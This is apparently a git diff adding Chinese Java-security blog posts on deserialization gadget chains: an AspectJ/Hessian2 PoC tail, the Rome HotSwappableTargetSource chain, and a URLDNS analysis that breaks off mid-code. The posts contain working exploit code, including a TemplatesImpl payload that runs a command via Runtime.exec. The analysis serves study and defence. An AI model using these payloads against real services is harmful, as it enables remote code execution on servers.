Class<?> botClass = Class.forName("org.aspectj.weaver.bcel.BcelObjectType");
|
||||
Constructor<?> constructor = botClass.getDeclaredConstructor(
|
||||
ReferenceType.class,
|
||||
JavaClass.class,
|
||||
boolean.class,
|
||||
boolean.class
|
||||
);
|
||||
constructor.setAccessible(true);
|
||||
BcelObjectType bcelObjectType = (BcelObjectType) constructor.newInstance(referenceType, javaClass, false, false);
|
||||
|
||||
// Modification: Force WeaverVersionInfo major_version >= 2 via reflection
|
||||
java.lang.reflect.Method getWeaverVersionAttribute = botClass.getDeclaredMethod("getWeaverVersionAttribute");
|
||||
getWeaverVersionAttribute.setAccessible(true);
|
||||
Object wvInfo = getWeaverVersionAttribute.invoke(bcelObjectType);
|
||||
|
||||
if (wvInfo != null) {
|
||||
Field majorVersionField = wvInfo.getClass().getDeclaredField("major_version");
|
||||
majorVersionField.setAccessible(true);
|
||||
majorVersionField.setShort(wvInfo, (short) 2);
|
||||
System.out.println("Forced WeaverVersionInfo major_version to: " + majorVersionField.getShort(wvInfo));
|
||||
}
|
||||
|
||||
// 5. Create LazyClassGen using BcelObjectType
|
||||
LazyClassGen lazyClassGen = new LazyClassGen(bcelObjectType);
|
||||
|
||||
// 6. Create first LazyMethodGen (lmg1)
|
||||
// We need a Method object. Get the first method from JavaClass.
|
||||
Method[] methods = javaClass.getMethods();
|
||||
Method method = methods[0];
|
||||
LazyMethodGen lazyMethodGen = new LazyMethodGen(method, lazyClassGen);
|
||||
|
||||
// Force initialization of LazyMethodGen before setting attributes via reflection.
|
||||
// LazyMethodGen uses lazy initialization. The initialize() method overwrites the 'attributes' field.
|
||||
// If we set 'attributes' before initialization, our value will be overwritten when initialize() is triggered later.
|
||||
lazyMethodGen.getAnnotations();
|
||||
|
||||
Class<? extends LazyMethodGen> lazyMethodGenClass = lazyMethodGen.getClass();
|
||||
Field attributesField = lazyMethodGenClass.getDeclaredField("attributes");
|
||||
attributesField.setAccessible(true);
|
||||
List<Attribute> attributes = new ArrayList<>();
|
||||
|
||||
// Create a new ConstantPool with the required string
|
||||
ConstantPool cp = javaClass.getConstantPool();
|
||||
Constant[] constants = new Constant[cp.getLength() + 1];
|
||||
for (int i = 0; i < cp.getLength(); i++) {
|
||||
constants[i] = cp.getConstant(i);
|
||||
}
|
||||
constants[cp.getLength()] = new ConstantUtf8("org.aspectj.weaver.TypeMunger");
|
||||
ConstantPool newCp = new ConstantPool(constants);
|
||||
|
||||
// Construct prefix bytes
|
||||
byte[] memberBytes = new byte[]{
|
||||
2, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 0, 0, 0, 1, 0, 10, 116, 101, 115, 116, 77, 101, 116, 104, 111, 100, 0, 3, 40, 41, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0
|
||||
};
|
||||
|
||||
// Serialize a simple Class
|
||||
Person person = new Person();
|
||||
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(person);
|
||||
oos.close();
|
||||
|
||||
byte[] objectBytes = baos.toByteArray();
|
||||
|
||||
// Combine arrays
|
||||
byte[] bytes = new byte[memberBytes.length + objectBytes.length];
|
||||
System.arraycopy(memberBytes, 0, bytes, 0, memberBytes.length);
|
||||
System.arraycopy(objectBytes, 0, bytes, memberBytes.length, objectBytes.length);
|
||||
|
||||
Unknown unknown = new Unknown(cp.getLength(), bytes.length, bytes, newCp);
|
||||
attributes.add(unknown);
|
||||
attributesField.set(lazyMethodGen, attributes);
|
||||
|
||||
byte[] data = Hessian2_Serial(lazyMethodGen);
|
||||
|
||||
byte[] poc = new byte[data.length + 1];
|
||||
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
|
||||
System.arraycopy(data, 0, poc, 1, data.length);
|
||||
|
||||
System.out.println(Base64.getEncoder().encodeToString(poc));
|
||||
|
||||
Hessian2_Deserial(poc);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 其它利用链
|
||||
|
||||
其实在查询的时候这条链还有许多分支,我没有一一验证了,感兴趣的师傅可以看看。
|
||||
|
||||
```
|
||||
LazyMethodGen.toString
|
||||
-> LazyMethodGen.toLongString
|
||||
-> LazyMethodGen.print
|
||||
-> LazyMethodGen.printAspectAttributes # this.attributes 可控
|
||||
-> Utility.readAjAttributes
|
||||
-> AjAttribute.read # u.getBytes() 返回其 bytes 属性,可控。
|
||||
├── ResolvedTypeMunger.read
|
||||
│ ├─ NewConstructorTypeMunger.readConstructor
|
||||
│ ├─ NewFieldTypeMunger.readField
|
||||
│ ├─ NewMemberClassTypeMunger.readInnerClass
|
||||
│ └─ NewMethodTypeMunger.readMethod
|
||||
│
|
||||
│ -> ResolvedTypeMunger.readSourceLocation
|
||||
│ -> readObject
|
||||
│
|
||||
└── WeaverStateInfo.read
|
||||
-> ResolvedTypeMunger.read
|
||||
├─ NewConstructorTypeMunger.readConstructor
|
||||
├─ NewFieldTypeMunger.readField
|
||||
├─ NewMemberClassTypeMunger.readInnerClass
|
||||
└─ NewMethodTypeMunger.readMethod
|
||||
|
||||
-> ResolvedTypeMunger.readSourceLocation
|
||||
-> readObject
|
||||
```
|
||||
|
||||
## 结语
|
||||
|
||||
若是我一开始便发现没有继承 serializable ,恐怕不会多看一眼,来发掘残缺的它的价值了。
|
||||
|
||||
特别鸣谢:@jsjcw
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,348 @@
|
||||
# 漏洞篇 - Rome 链之 HotSwappableTargetSource 利用链
|
||||
> 2024-06-07
|
||||
> 来源:https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E9%93%BE%E4%B9%8BHotSwappableTargetSource%E9%93%BE/
|
||||
|
||||
HotSwappableTargetSource 是在 Spring AOP 中出现的一个类。作用是可以在代理 bean 运行过程中,动态更新实际 bean 对象。HotSwappableTargetSource 类实现了 TargetSource 接口。对外暴露 getTarget 方法,提供真正的 target 对象。再说的明白一点,HotSwappableTargetSource 是对真正 target 对象的封装。在 Spring 的源码中,体现在 JdkDynamicAopProxy 中的 invoke 方法中。
|
||||
|
||||
## HotSwappableTargetSource 利用链
|
||||
|
||||
spring 原生的 toString 利用链。
|
||||
|
||||
调用链如下:
|
||||
|
||||
- HashMap.readObject
|
||||
- HashMap.putVal
|
||||
- HotSwappableTargetSource.equals
|
||||
- XString.equals
|
||||
- ToStringBean.toString
|
||||
|
||||
### HotSwappableTargetSource 介绍
|
||||
|
||||
HotSwappableTargetSource 是在 Spring AOP 中出现的一个类。作用是可以在代理 bean 运行过程中,动态更新实际 bean 对象。HotSwappableTargetSource 类实现了 TargetSource 接口。对外暴露 getTarget 方法,提供真正的 target 对象。再说的明白一点,HotSwappableTargetSourc 是对真正 target 对象的封装。在 Spring 的源码中,体现在 JdkDynamicAopProxy 中的 invoke 方法中。
|
||||
|
||||
HotSwappableTargetSource 类比较特殊的一点是它的 hashcode 方法,无论这个类的对象属性中写入了什么,调用这个对象的 hashcode 方法都会返回相同的结果:
|
||||
|
||||

|
||||
|
||||
这就为后面解决 hash 冲突提供了思路。
|
||||
|
||||
摘自 [HotSwappableTargetSource 的使用](https://blog.csdn.net/qq_39839075/article/details/106974967)
|
||||
|
||||
### 环境搭建
|
||||
|
||||
需要导入 Spring 依赖:
|
||||
|
||||
```
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-core</artifactId>
|
||||
<version>5.3.28</version>
|
||||
</dependency>
|
||||
<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-beans</artifactId>
|
||||
<version>5.3.28</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-context</artifactId>
|
||||
<version>5.3.28</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
### XString#equals(Object)
|
||||
|
||||
这个方法会调用参数 obj2 对象的 toString() 方法:
|
||||
|
||||
```
|
||||
public boolean equals(Object obj2)
|
||||
{
|
||||
if (null == obj2)
|
||||
return false;
|
||||
|
||||
// In order to handle the 'all' semantics of
|
||||
// nodeset comparisons, we always call the
|
||||
// nodeset function.
|
||||
else if (obj2 instanceof XNodeSet)
|
||||
return obj2.equals(this);
|
||||
else if(obj2 instanceof XNumber)
|
||||
return obj2.equals(this);
|
||||
else
|
||||
// 调用 obj2 的 toString() 方法
|
||||
return str().equals(obj2.toString());
|
||||
}
|
||||
```
|
||||
|
||||
所以只需要传入一个 ToStringBean 对象即可。
|
||||
|
||||
### HotSwappableTargetSource#equals(Object)
|
||||
|
||||
HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法:
|
||||
|
||||
```
|
||||
@Override
|
||||
public boolean equals(Object other) {
|
||||
return (this == other || (other instanceof HotSwappableTargetSource &&
|
||||
this.target.equals(((HotSwappableTargetSource) other).target)));
|
||||
}
|
||||
```
|
||||
|
||||
this.target 可以在构造方法中赋值:
|
||||
|
||||
```
|
||||
public HotSwappableTargetSource(Object initialTarget) {
|
||||
Assert.notNull(initialTarget, "Target object must not be null");
|
||||
this.target = initialTarget;
|
||||
}
|
||||
```
|
||||
|
||||
接下来我们需要对这段代码中的判断逻辑进行一个分析:
|
||||
|
||||
- `this == other`:首先检查 this 和 other 是否是同一个对象引用。如果是,直接返回 true。
|
||||
- `other instanceof HotSwappableTargetSource`:检查 other 是否是 HotSwappableTargetSource 对象,如果不是,则整个表达式短路,返回 false。
|
||||
- `this.target.equals(((HotSwappableTargetSource) other).target)`:将 other 强制转换为 HotSwappableTargetSource 类型,由于前面的 instanceof 检查已经保证了 other 确实是 HotSwappableTargetSource 对象,这个转换是没问题的,最后调用 equals 方法比较 this 对象的 target 属性与 other 对象的 target 属性是否相等。
|
||||
|
||||
所以这个方法的参数 other 需要是一个 HotSwappableTargetSource 对象,且 other 的 target 属性值是 ToStringBean 对象。而 this.target 需要是一个 XString 对象。
|
||||
|
||||
### HashMap#putVal(int, K, V, boolean, boolean)
|
||||
|
||||
HashMap 的 putVal 方法会调用参数 key 的 equals 方法:
|
||||
|
||||
```
|
||||
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
|
||||
boolean evict) {
|
||||
Node<K,V>[] tab; Node<K,V> p; int n, i;
|
||||
if ((tab = table) == null || (n = tab.length) == 0)
|
||||
n = (tab = resize()).length;
|
||||
if ((p = tab[i = (n - 1) & hash]) == null)
|
||||
tab[i] = newNode(hash, key, value, null);
|
||||
else {
|
||||
Node<K,V> e; K k;
|
||||
if (p.hash == hash &&
|
||||
((k = p.key) == key || (key != null && key.equals(k)))) // 调用 key 的 equals 方法
|
||||
e = p;
|
||||
else if (p instanceof TreeNode)
|
||||
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
|
||||
else {
|
||||
for (int binCount = 0; ; ++binCount) {
|
||||
if ((e = p.next) == null) {
|
||||
p.next = newNode(hash, key, value, null);
|
||||
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
|
||||
treeifyBin(tab, hash);
|
||||
break;
|
||||
}
|
||||
if (e.hash == hash &&
|
||||
((k = e.key) == key || (key != null && key.equals(k))))
|
||||
break;
|
||||
p = e;
|
||||
}
|
||||
}
|
||||
if (e != null) { // existing mapping for key
|
||||
V oldValue = e.value;
|
||||
if (!onlyIfAbsent || oldValue == null)
|
||||
e.value = value;
|
||||
afterNodeAccess(e);
|
||||
return oldValue;
|
||||
}
|
||||
}
|
||||
++modCount;
|
||||
if (++size > threshold)
|
||||
resize();
|
||||
afterNodeInsertion(evict);
|
||||
return null;
|
||||
}
|
||||
```
|
||||
|
||||
值得注意的是,这里要想调用到 key.equals(k) ,需要经过一些判断。
|
||||
|
||||
这里在将传入的键值对存入 Node<K,V>\[\] tab 数组时,是这样计算下标的:tab\[i = (n - 1) & hash\],也就是说下一个键值对应该是插在下标为 i 的地方,如果这个下标为 i 的地方没有值,则插入,但如果要插入的键值对的键和已经存在的键相同,那么就会造成 hash 冲突,进入判断,导致 key.equals(k) 执行。
|
||||
|
||||
在上一步的分析中我们知道 HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法,而 HotSwappableTargetSource 的 equals 方法的参数也需要是一个 HotSwappableTargetSource 对象,为了构造这个条件,那么:
|
||||
|
||||
key.equals(k) 这个式子中的 key 和 k 都需要是 HotSwappableTargetSource 对象,且 key.target 是一个 XString 对象,k.target 是一个 ToStringBean 对象。
|
||||
|
||||
在这里的 hash 冲突中,k 是已经存在于数组中的 key ,而 key 是传入的,所以 k 对应的键值对要先被 put 进去,然后再 put key对应的键值对。
|
||||
|
||||
如下所示,h1.target 是一个 ToStringBean 对象,h2.target 是一个 XString 对象:
|
||||
|
||||
```
|
||||
hashMap.put(h1, "test1");
|
||||
hashMap.put(h2, "test2");
|
||||
```
|
||||
|
||||
**反序列化调试**
|
||||
|
||||
第一次进入 putval 方法时插入的下标为 2 :
|
||||
|
||||

|
||||
|
||||
第二次进入 putval 方法时正好取到了这个 2 :
|
||||
|
||||

|
||||
|
||||
可以看到 i 经过 hash 计算后值是 2 ,所以 p 就取到了下标为 2 的元素,然后一对比,发现两个键值对 hash 相同,但是两个键值对的 key 又不是同一个地址引用( == 比较内存地址是否相同),所以就调用到了 key.equals(k) 。
|
||||
|
||||
然后就是一些疑问的解答:
|
||||
|
||||
为什么第二次调用 putval 这个下标 i 正好取到上一个插入的下标呢?
|
||||
|
||||
猜测这是 HashMap 的一种机制,HashMap 中不允许有重复的键,如果插入的两个键值对的键相同,则只会对值做一个更新。这里的逻辑大概就是如果有重复的键,那么经过一系列 Hash 计算后这个下标 i 一定会取到数组中已经存在的键相同的键值对。这是因为当初存入的键值对的下标就是根据键的一些 hash 特征确定的,如果键的 hash 特征相同,再计算一次下标,取到的下标自然就相同了。(不保证一定正确)
|
||||
|
||||
为什么 HashMap 要这样计算下一个要插入的键值对的下标,而不是老老实实把下标加一然后插入呢?
|
||||
|
||||
如果插入的键值对按顺序排列,那么为了避免重复的键出现,每次插入都需要遍历一次集合。用这种方法计算下标,可以快速确定重复的键的位置,而不需要对集合进行遍历,但是会使得插入的下标无规律,有大量空间没有利用。这也是一种典型的用空间换时间的做法。
|
||||
|
||||
### HashMap#readObject(java.io.ObjectInputStream)
|
||||
|
||||
HashMap 的 readObject 调用了 putVal 方法:
|
||||
|
||||
```
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
// Read in the threshold (ignored), loadfactor, and any hidden stuff
|
||||
s.defaultReadObject();
|
||||
reinitialize();
|
||||
if (loadFactor <= 0 || Float.isNaN(loadFactor))
|
||||
throw new InvalidObjectException("Illegal load factor: " +
|
||||
loadFactor);
|
||||
s.readInt(); // Read and ignore number of buckets
|
||||
int mappings = s.readInt(); // Read number of mappings (size)
|
||||
if (mappings < 0)
|
||||
throw new InvalidObjectException("Illegal mappings count: " +
|
||||
mappings);
|
||||
else if (mappings > 0) { // (if zero, use defaults)
|
||||
// Size the table using given load factor only if within
|
||||
// range of 0.25...4.0
|
||||
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
|
||||
float fc = (float)mappings / lf + 1.0f;
|
||||
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
|
||||
DEFAULT_INITIAL_CAPACITY :
|
||||
(fc >= MAXIMUM_CAPACITY) ?
|
||||
MAXIMUM_CAPACITY :
|
||||
tableSizeFor((int)fc));
|
||||
float ft = (float)cap * lf;
|
||||
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
|
||||
(int)ft : Integer.MAX_VALUE);
|
||||
@SuppressWarnings({"rawtypes","unchecked"})
|
||||
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
|
||||
table = tab;
|
||||
|
||||
// Read the keys and values, and put the mappings in the HashMap
|
||||
for (int i = 0; i < mappings; i++) {
|
||||
@SuppressWarnings("unchecked")
|
||||
K key = (K) s.readObject();
|
||||
@SuppressWarnings("unchecked")
|
||||
V value = (V) s.readObject();
|
||||
// 调用了 putVal 方法
|
||||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 调用栈总结
|
||||
|
||||
```
|
||||
HashMap.readObject(java.io.ObjectInputStream)
|
||||
HashMap.putVal(int, K, V, boolean, boolean)
|
||||
HotSwappableTargetSource.equals(Object)
|
||||
XString.equals(Object)
|
||||
ToStringBean#toString()
|
||||
ToStringBean#toString(String)
|
||||
BeanIntrospector#getPropertyDescriptors(Class)
|
||||
BeanIntrospector#getPDs(Class)
|
||||
TemplatesImpl#getOutputProperties()
|
||||
TemplatesImpl#newTransformer()
|
||||
TemplatesImpl#getTransletInstance()
|
||||
TemplatesImpl#defineTransletClasses()
|
||||
TransletClassLoader#defineClass()
|
||||
```
|
||||
|
||||
### 构造 payload
|
||||
|
||||
```
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import com.sun.org.apache.xpath.internal.objects.XString;
|
||||
import com.sun.syndication.feed.impl.ToStringBean;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtConstructor;
|
||||
import org.springframework.aop.target.HotSwappableTargetSource;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class HotSwappableTargetSource_payload {
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 获取类池
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
// 创建一个名为 Error 的类
|
||||
CtClass error = classPool.makeClass("Error");
|
||||
// 向 Error 对象中添加静态代码块
|
||||
CtConstructor constructor = error.makeClassInitializer();
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
|
||||
// 设置 Error 的父类为 AbstractTranslet
|
||||
CtClass abstractTranslet = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
|
||||
error.setSuperclass(abstractTranslet);
|
||||
// 将 Error 对象输出成字节数组
|
||||
byte[] errorBytecode = error.toBytecode();
|
||||
|
||||
// 新建利用链 TemplatesImpl 对象
|
||||
TemplatesImpl templatesImpl = new TemplatesImpl();
|
||||
setValue(templatesImpl, "_name", "aaa");
|
||||
setValue(templatesImpl, "_bytecodes", new byte[][]{errorBytecode});
|
||||
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
|
||||
|
||||
// 利用 ToStringBean 的 toString() 方法调用 TemplatesImpl 的 getOutputProperties() 方法
|
||||
ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);
|
||||
|
||||
// HotSwappableTargetSource 的 equals 方法参数 other 需要是一个 HotSwappableTargetSource 对象
|
||||
// other 的 target 属性值需要是 ToStringBean 对象
|
||||
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
|
||||
// this.target 需要是一个 XString 对象
|
||||
// 为防止 put 时提前命令执行,这里先不设置,随便 new 一个 HashMap 做参数
|
||||
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new HashMap<>());
|
||||
|
||||
HashMap<Object, Object> hashMap = new HashMap<>();
|
||||
hashMap.put(h1, "test1");
|
||||
hashMap.put(h2, "test2");
|
||||
|
||||
// 反射设置 this.target 为 XString 对象
|
||||
setValue(h2, "target", new XString("test"));
|
||||
|
||||
// 序列化成字节数组
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(hashMap);
|
||||
oos.flush();
|
||||
oos.close();
|
||||
|
||||
// 反序列化字节数组
|
||||
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
|
||||
ObjectInputStream ois = new ObjectInputStream(bais);
|
||||
ois.readObject();
|
||||
ois.close();
|
||||
}
|
||||
|
||||
public static void setValue(Object obj, String name, Object value) throws Exception {
|
||||
Field field = obj.getClass().getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 参考文章
|
||||
|
||||
[Java 安全学习 —— ROME 反序列化](https://goodapple.top/archives/1145)
|
||||
|
||||
[ROME 反序列化](https://www.yuque.com/5tooc3a/jas/mhy3k7vcrdteappp#amGm1)
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,357 @@
|
||||
# 漏洞篇 - URLDNS 利用链分析
|
||||
> 2024-05-10
|
||||
> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-URLDNS%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
|
||||
|
||||
本文详尽地讲述了 URLDNS 反序列化利用链的原理
|
||||
|
||||
## URLDNS 利用链分析
|
||||
|
||||
推荐博客:[JAVA反序列化-ysoserial-URLDNS原理分析](https://xz.aliyun.com/t/9116?time__1311=n4+xuDgD9DyDnDfhx0xxBqDwp0Ytunew+4GQ734D&alichlgref=https://www.google.com/)
|
||||
|
||||
URLDNS 反序列化利用链的结果就是发起一次 URL 请求,在 DNS 服务器上留下一条解析记录,常常作为验证漏洞是否存在的手段。
|
||||
|
||||
### 原理分析
|
||||
|
||||
**具体的利用点在 URL 类的 hashcode 函数中**
|
||||
|
||||
在 Java 中,hashCode() 是 Object 类中的一个方法,用于返回一个对象的哈希码(hash code),该哈希码是一个 int 类型的数值,代表了该对象的特定标识符。 哈希码的主要作用是在集合中进行元素的快速查找,比如在 HashMap 和 HashSet 中。
|
||||
|
||||
先来看一个简单的示例:
|
||||
|
||||
首先在 Yakit 上生成一个可用域名:ihqkfolumv.dgrh3.cn
|
||||
|
||||

|
||||
|
||||
写好如下 Java 程序:
|
||||
|
||||
```
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
|
||||
public class Main {
|
||||
public static void main(String[] args) throws MalformedURLException {
|
||||
// 调用URL类的hashCode方法发起DNS请求
|
||||
URL url = new URL("http://ihqkfolumv.dgrh3.cn");
|
||||
url.hashCode();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
其中,ihqkfolumv.dgrh3.cn 是我们自己生成的域名,用于被 Java 程序访问,这样在 DNS 服务器上就会留下一条访问记录。
|
||||
|
||||
运行后在 Yakit 这里会留下一条解析记录:
|
||||
|
||||

|
||||
|
||||
**下面来查看源代码了解原理**
|
||||
|
||||
Ctrl + 鼠标左键点击进入 URL 类的 hashcode 方法:
|
||||
|
||||
```
|
||||
public synchronized int hashCode() {
|
||||
if (hashCode != -1)
|
||||
return hashCode;
|
||||
|
||||
hashCode = handler.hashCode(this);
|
||||
return hashCode;
|
||||
}
|
||||
```
|
||||
|
||||
可以看到,这里先做了一个判断,然后调用了 handler 的 hashCode 方法。而 handler 是 URL 类中定义的一个属性:
|
||||
|
||||
```
|
||||
transient URLStreamHandler handler;
|
||||
```
|
||||
|
||||
接着 Ctrl + 鼠标左键点击进入 handler 对象(也即 URLStreamHandler 类)的 hashcode 方法:
|
||||
|
||||
```
|
||||
protected int hashCode(URL u) {
|
||||
int h = 0;
|
||||
|
||||
// Generate the protocol part.
|
||||
String protocol = u.getProtocol();
|
||||
if (protocol != null)
|
||||
h += protocol.hashCode();
|
||||
|
||||
// Generate the host part.
|
||||
InetAddress addr = getHostAddress(u);
|
||||
if (addr != null) {
|
||||
h += addr.hashCode();
|
||||
} else {
|
||||
String host = u.getHost();
|
||||
if (host != null)
|
||||
h += host.toLowerCase().hashCode();
|
||||
}
|
||||
|
||||
// Generate the file part.
|
||||
String file = u.getFile();
|
||||
if (file != null)
|
||||
h += file.hashCode();
|
||||
|
||||
// Generate the port part.
|
||||
if (u.getPort() == -1)
|
||||
h += getDefaultPort();
|
||||
else
|
||||
h += u.getPort();
|
||||
|
||||
// Generate the ref part.
|
||||
String ref = u.getRef();
|
||||
if (ref != null)
|
||||
h += ref.hashCode();
|
||||
|
||||
return h;
|
||||
}
|
||||
```
|
||||
|
||||
这个方法传入一个 URL 类作为参数,依次通过调用 getProtocol ,getHostAddress,getFile,getPort,getRef 等方法获取到传入的 URL 链接的 Protocol(协议),HostAddress(主机地址),File(文件路径),Port(端口),Ref(锚点,即 # 后面的部分),获取完之后,对每部分调用它们的 hashCode 方法,将结果加到 h 上,最后将 h 返回。
|
||||
|
||||
不过,我们需要重点关注的是 getHostAddress 方法,该方法会返回一个 IP 地址,如果遇到的是域名,那么就需要发起 DNS 请求来将其解析成 IP 地址。
|
||||
|
||||
Ctrl + 鼠标左键点击进入 getHostAddress 方法:
|
||||
|
||||
```
|
||||
protected synchronized InetAddress getHostAddress(URL u) {
|
||||
if (u.hostAddress != null)
|
||||
return u.hostAddress;
|
||||
|
||||
String host = u.getHost();
|
||||
if (host == null || host.equals("")) {
|
||||
return null;
|
||||
} else {
|
||||
try {
|
||||
u.hostAddress = InetAddress.getByName(host);
|
||||
} catch (UnknownHostException ex) {
|
||||
return null;
|
||||
} catch (SecurityException se) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
return u.hostAddress;
|
||||
}
|
||||
```
|
||||
|
||||
如果 u.hostAddress 为空,那么调用 URL 类的 getHost 方法获取主机地址(可以是 IP 也可以是域名),如果获取到的主机地址不为空,那么会调用 InetAddress 类的静态方法 getByName 并将主机名作为参数传入。
|
||||
|
||||
重点来了:InetAddress.getByName 是一个强大而实用的方法,它**允许我们根据主机名获取对应的 IP 地址,并在各种网络应用场景中发挥巨大的作用**。
|
||||
|
||||
在这里就涉及到了 DNS 解析,那么这条利用链的功能也就是归于此处。再往下的源码就不看了,有兴趣可以自己看看。
|
||||
|
||||
### 反序列化利用
|
||||
|
||||
#### 入口类 HashMap
|
||||
|
||||
选择该类作为入口类的原因很简单:
|
||||
|
||||
- 实现了 Serializable 接口,可以被反序列化
|
||||
|
||||
```
|
||||
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
|
||||
```
|
||||
|
||||
- 重写了 readObject 方法
|
||||
|
||||
- 参数类型宽泛,只要是 Object 都可以
|
||||
|
||||
- JDK 自带
|
||||
|
||||
|
||||
……
|
||||
|
||||
#### 构造 payload
|
||||
|
||||
先看结果,后面再讲原理
|
||||
|
||||
**序列化类 serialization**
|
||||
|
||||
```
|
||||
public class serialization {
|
||||
public static void main(String[] args) throws Exception {
|
||||
HashMap hashMap = new HashMap();
|
||||
URL url = new URL("http://jhdmbaithu.dgrh3.cn");
|
||||
|
||||
Class clazz = Class.forName("java.net.URL");
|
||||
Field f = clazz.getDeclaredField("hashCode");
|
||||
f.setAccessible(true);
|
||||
|
||||
hashMap.put(url,"test");
|
||||
f.set(url,-1);
|
||||
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
|
||||
oos.writeObject(hashMap);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这个类将 URL 类的对象作为参数传入 hashMap 中,并在 hashMap 用 put 方法将数据存储后利用反射修改了 url 的 hashCode 属性为 -1 。运行后,会将序列化数据输出到 out.bin 文件中,且也会进行一次 DNS 解析。
|
||||
|
||||
**由于进行了 DNS 解析,本地存在了解析记录,那么第二次解析就不会去请求 DNS 服务器,所以要刷新一下本地的 DNS 缓存,防止之后执行反序列化看不到解析记录**
|
||||
|
||||
Windows cmd 窗口输入以下命令刷新 DNS 解析缓存:
|
||||
|
||||
```
|
||||
ipconfig/flushdns
|
||||
```
|
||||
|
||||

|
||||
|
||||
**反序列化类 unserialization**
|
||||
|
||||
```
|
||||
public class unserialization {
|
||||
public static void main(String[] args) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
|
||||
HashMap hashMap = (HashMap) ois.readObject();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
执行反序列化后会多出一条解析记录。
|
||||
|
||||
**执行完序列化和反序列化之后,查看 Yakit ,会出现两次解析记录:**
|
||||
|
||||

|
||||
|
||||
#### 序列化时进行 DNS 解析的原理
|
||||
|
||||
来看序列化类:
|
||||
|
||||
```
|
||||
public class serialization {
|
||||
public static void main(String[] args) throws Exception {
|
||||
HashMap hashMap = new HashMap();
|
||||
URL url = new URL("http://jhdmbaithu.dgrh3.cn");
|
||||
|
||||
Class clazz = Class.forName("java.net.URL");
|
||||
Field f = clazz.getDeclaredField("hashCode");
|
||||
f.setAccessible(true);
|
||||
|
||||
hashMap.put(url,"test");
|
||||
f.set(url,-1);
|
||||
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
|
||||
oos.writeObject(hashMap);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**序列化时调用了 HashMap 的 put 方法,查看 put 方法:**
|
||||
|
||||
```
|
||||
public V put(K key, V value) {
